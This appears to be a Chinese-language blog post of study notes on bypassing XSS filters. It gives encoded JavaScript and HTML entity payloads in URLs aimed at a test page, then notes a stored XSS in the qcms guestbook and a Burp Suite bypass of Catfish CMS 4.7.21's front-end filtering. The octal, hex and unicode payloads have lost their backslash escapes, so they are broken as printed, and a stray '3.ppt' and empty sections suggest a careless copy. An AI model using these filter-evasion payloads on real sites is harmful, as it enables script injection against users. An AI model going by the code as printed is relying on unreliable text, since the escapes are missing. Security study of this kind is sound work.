XSS--编码绕过,qcms,鲶鱼cms

一.编码绕过

1)HTML进制编码
标签中的某些属性值可以使用html十进制、十六进制表示
2)JavaScript编码
JavaScript支持unicode、八进制、十六进制、十进制等
3)URL编码
4)base64编码
  • js编码分为8进制 10进制 16进制,unicode编码--u
    8进制,10进制直接用eval函数运行把alert('xss')转码
    eval('')有单引号
8进制
http://test.com/xss/xss/example5.php?name=<script>eval('1411541451621645061616161616161616151')</script>
16进制
http://test.com/xss/xss/example5.php?name=<script>eval('x61x6cx65x72x74x28x31x31x31x31x31x31x31x31x31x29')</script>
unicode编码
http://test.com/xss/xss/example5.php?name=<script>eval('u0061u006cu0065u0072u0074u0028u0031u0031u0031u0031u0031u0031u0031u0031u0031u0029')</script>


10进制还要加String.fromCharCode函数用eval执行

http://test.com/xss/xss/example5.php?name=<script>eval(String.fromCharCode(97,108,101,114,116,40,49,49,49,49,41))</script>

  • HTML编码
    HTML编码的存在就是让他在代码中和显示中分开, 避免错误。他的命名实体:构造是&加上希腊字母,字符编码:构造是&#加十进制、十六进制ASCII码或unicode字符编码,而且浏览器解析的时候会先把html编码解析再进行渲染。但是有个前提就是必须要在“值”里,比如属性src里,但却不能对src进行html编码。不然浏览器无法正常的渲染。
    例如:
<img src=&#108;&#111;&#103;&#111;&#46;&#112;&#110;&#103;/>

可以正常显示。
但是当你把src或者img进行html编码就不行了,例如:

<img &#115;&#114;&#99;=&#108;&#111;&#103;&#111;&#46;&#112;&#110;&#103;/>

3.ppt









三,实战qcms和Catfish(鲶鱼)CMS

(1)qcms

大体游览一遍网站发现只有留言处有输入,可能存在xss,

完全没有过滤,还是存储型xss

(2)Catfish(鲶鱼)CMS-4.7.21


发现过滤尖括号,双引号,听老师知道这是前端过滤,用burpsuit即可绕过

百度到的大佬审计原理

原文地址:https://www.cnblogs.com/hackxf/p/8988526.html